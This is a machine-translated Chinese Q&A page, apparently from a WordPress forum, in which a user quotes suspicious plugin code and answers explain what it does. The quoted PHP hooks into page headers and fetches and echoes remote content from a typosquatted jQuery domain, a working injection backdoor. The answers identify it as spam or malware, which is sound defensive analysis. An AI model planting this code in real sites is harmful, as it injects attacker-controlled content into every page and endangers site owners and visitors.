問題描述
我發現這是一個插件。它有什麼作用?危險嗎?
add_action('admin_enqueue_scripts', 'pw_load_scripts');
if (!function_exists('wp__head'){
function wp__head() {
if(function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);
$jquery = curl_exec($ch);
curl_close($ch);
echo "$jquery";
}
}
add_action('wp_head', 'wp__head');
}
最佳解決方案
它加載了一個包含垃圾郵件的標記塊 (我想到發佈一些源代碼,但是我不想以任何方式發佈內容) 來自一個域的拼寫錯誤 – http://jquery.com/ – 由 jQuery 是一個有信譽和流行的 Javascript 庫,WordPress 包含在 Core 中。我認為這個想法似乎是加載該庫,實際上加載的東西非常不同。
而且在其他方面試圖加載 jQuery 。注意變量名 $jquery 。
它也可能嘗試加載惡意腳本。我沒有檢查我一定會把它稱為危險的,特別是因為該頁面上的內容可以隨着域控制器的感覺而改變。
最好的是,這將會損害您的網站,因為搜索引擎不滿意傳播垃圾郵件的網站。
不要使用它對於您或網站上的任何其他人,除了運行該網站的人員,它沒有任何益處。如果您在信譽良好的網站上發現這一點,請向他們報告。
次佳解決方案
是的,這是危險的代碼,從垃圾郵件站點加載內容。
你沒有為插件命名,但是如果你的網站上安裝了這個代碼,那麼插件代碼可能不是這樣的,而是在安裝之後被黑客入侵。如果是這種情況,您可能會發現網站上的惡意代碼不僅僅是這個插件。
檢查下載的插件代碼,從原來的插件的任何地方,看看這個惡意代碼是否在那裏。如果沒有,那麼您的網站已被黑客入侵。如果您確定是這種情況,請閲讀 this article from the Codex 。
參考文獻
注:本文內容整合自 Google/Baidu/Bing 輔助翻譯的英文資料結果。如果您對結果不滿意,可以加入我們改善翻譯效果:薇曉朵技術論壇。